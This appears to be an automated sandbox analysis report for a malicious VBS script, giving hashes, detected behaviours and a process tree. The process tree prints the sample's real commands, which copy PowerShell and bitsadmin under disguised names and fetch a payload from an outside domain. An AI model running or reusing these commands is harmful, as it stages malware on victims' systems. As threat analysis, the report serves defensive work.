Analysis
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max time kernel
120s -
max time network
125s -
platform
windows7_x64 -
resource
win7-20240704-en -
resource tags
arch:x64arch:x86image:win7-20240704-enlocale:en-usos:windows7-x64system -
submitted
11-08-2024 04:49
Static task
static1
Behavioral task
behavioral1
Sample
890e606bc524548cde60d468e944b461_JaffaCakes118.vbs
Resource
win7-20240704-en
General
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Target
890e606bc524548cde60d468e944b461_JaffaCakes118.vbs
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Size
7KB
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MD5
890e606bc524548cde60d468e944b461
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SHA1
c3cb9d8ce2e9dfbb879eed2317e4a61ceb7acfaf
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SHA256
c52e8e5dd3b2d97071b6c08199684594bf50bafe18724a013dc83988b6631894
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SHA512
c227bc4b873933b99903baf75f4fb7ae11743fd42f7fffb39b8215fe3f84d1368700157ec574d155a6b120bd59dda7d95923f667490436521c720398d746315b
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SSDEEP
192:pF3F1DtwCkPCpxcyJQhkP76yOMAAMmVktlPvUUJtu0:XDtwCkPocGrP76yOMAA5V+XUUJc0
Malware Config
Signatures
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Executes dropped EXE 1 IoCs
pid Process 1644 PVKbwyein.exe -
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
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System Location Discovery: System Language Discovery 1 TTPs 1 IoCs
Attempt gather information about the system language of a victim in order to infer the geographical location of that host.
description ioc Process Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language PVKbwyein.exe -
Suspicious use of WriteProcessMemory 13 IoCs
description pid Process procid_target PID 2376 wrote to memory of 2260 2376 WScript.exe 30 PID 2376 wrote to memory of 2260 2376 WScript.exe 30 PID 2376 wrote to memory of 2260 2376 WScript.exe 30 PID 2260 wrote to memory of 2892 2260 cmd.exe 32 PID 2260 wrote to memory of 2892 2260 cmd.exe 32 PID 2260 wrote to memory of 2892 2260 cmd.exe 32 PID 2260 wrote to memory of 3048 2260 cmd.exe 33 PID 2260 wrote to memory of 3048 2260 cmd.exe 33 PID 2260 wrote to memory of 3048 2260 cmd.exe 33 PID 2376 wrote to memory of 1644 2376 WScript.exe 34 PID 2376 wrote to memory of 1644 2376 WScript.exe 34 PID 2376 wrote to memory of 1644 2376 WScript.exe 34 PID 2376 wrote to memory of 1644 2376 WScript.exe 34
Processes
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C:\Windows\System32\WScript.exe"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\890e606bc524548cde60d468e944b461_JaffaCakes118.vbs"1⤵
- Suspicious use of WriteProcessMemory
PID:2376 -
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c cmd /c copy /Z c:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe C:\ProgramData\aROAAO.exe & cmd /c copy /Y /Z c:\Windows\SysWOW64\bi*.exe C:\ProgramData\PVKbwye*.exe2⤵
- Suspicious use of WriteProcessMemory
PID:2260 -
C:\Windows\system32\cmd.execmd /c copy /Z c:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe C:\ProgramData\aROAAO.exe3⤵PID:2892
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C:\Windows\system32\cmd.execmd /c copy /Y /Z c:\Windows\SysWOW64\bi*.exe C:\ProgramData\PVKbwye*.exe3⤵PID:3048
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C:\ProgramData\PVKbwyein.exe"C:\ProgramData\PVKbwyein.exe" /wrap /transfer mjnhWNUX https://myriamherman.com/whooma/GRZMHL77R29D122E/developer.rtf C:\ProgramData\developer.rtf2⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
PID:1644
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Network
MITRE ATT&CK Enterprise v15
Replay Monitor
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Downloads
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Filesize
182KB
MD50920b14aa67a8b04acf48ffe7c6f0927
SHA13421124253058dc21453ebac531b67aeb999f627
SHA256838670c83e6d1984d0c46e39c196028d292b3a6d2df96183f2f6e408f1a16e00
SHA5122b0a9800736cb27316be5e376842bce59ce08089046aaef930da837eb59d1c084106ce447320346911c6fa3c8a32e4e41209b12bb868ac2cd9848d69a9adbe51